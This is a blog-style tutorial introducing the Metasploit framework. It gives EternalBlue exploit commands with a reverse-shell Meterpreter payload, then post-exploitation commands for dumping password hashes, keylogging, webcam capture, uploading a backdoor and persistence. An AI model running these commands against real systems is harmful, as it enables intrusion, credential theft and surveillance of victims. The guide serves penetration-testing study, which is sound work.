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Metasploit Exploitation Framework — From Zero to Hero

Anuj Singh (Admin) 31 March 2026 468 views

Metasploit — Complete Mastery Guide

Metasploit is the most used exploitation framework in the world. Every pentester, red teamer, and bug bounty hunter uses it.

Metasploit Architecture

  • Exploits: 3000+ attack modules
  • Payloads: Code that runs after exploitation
  • Auxiliary: Scanning, fuzzing, brute force
  • Post: Post-exploitation modules
  • Encoders: AV evasion for payloads

Real Exploitation Example

msfconsole

# Step 1: Find an exploit
search type:exploit platform:windows smb

# Step 2: Load the exploit
use exploit/windows/smb/ms17_010_eternalblue

# Step 3: Configure
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST your_ip

# Step 4: Launch
exploit

Meterpreter Post-Exploitation

sysinfo                  # System information
getuid                   # Current user
getsystem                # Escalate to SYSTEM
hashdump                 # Dump password hashes
screenshot               # Capture screen
keyscan_start            # Start keylogger
keyscan_dump             # View captured keys
webcam_snap              # Take webcam photo
shell                    # Drop to cmd.exe
download C:\secret.txt   # Download file
upload backdoor.exe      # Upload file
migrate PID              # Migrate to another process
persistence              # Survive reboots

Metasploit in the Real World

  • Used in 90% of professional penetration tests
  • Required knowledge for OSCP, CEH, GPEN certifications
  • Free Community Edition vs $15K+ Pro Edition

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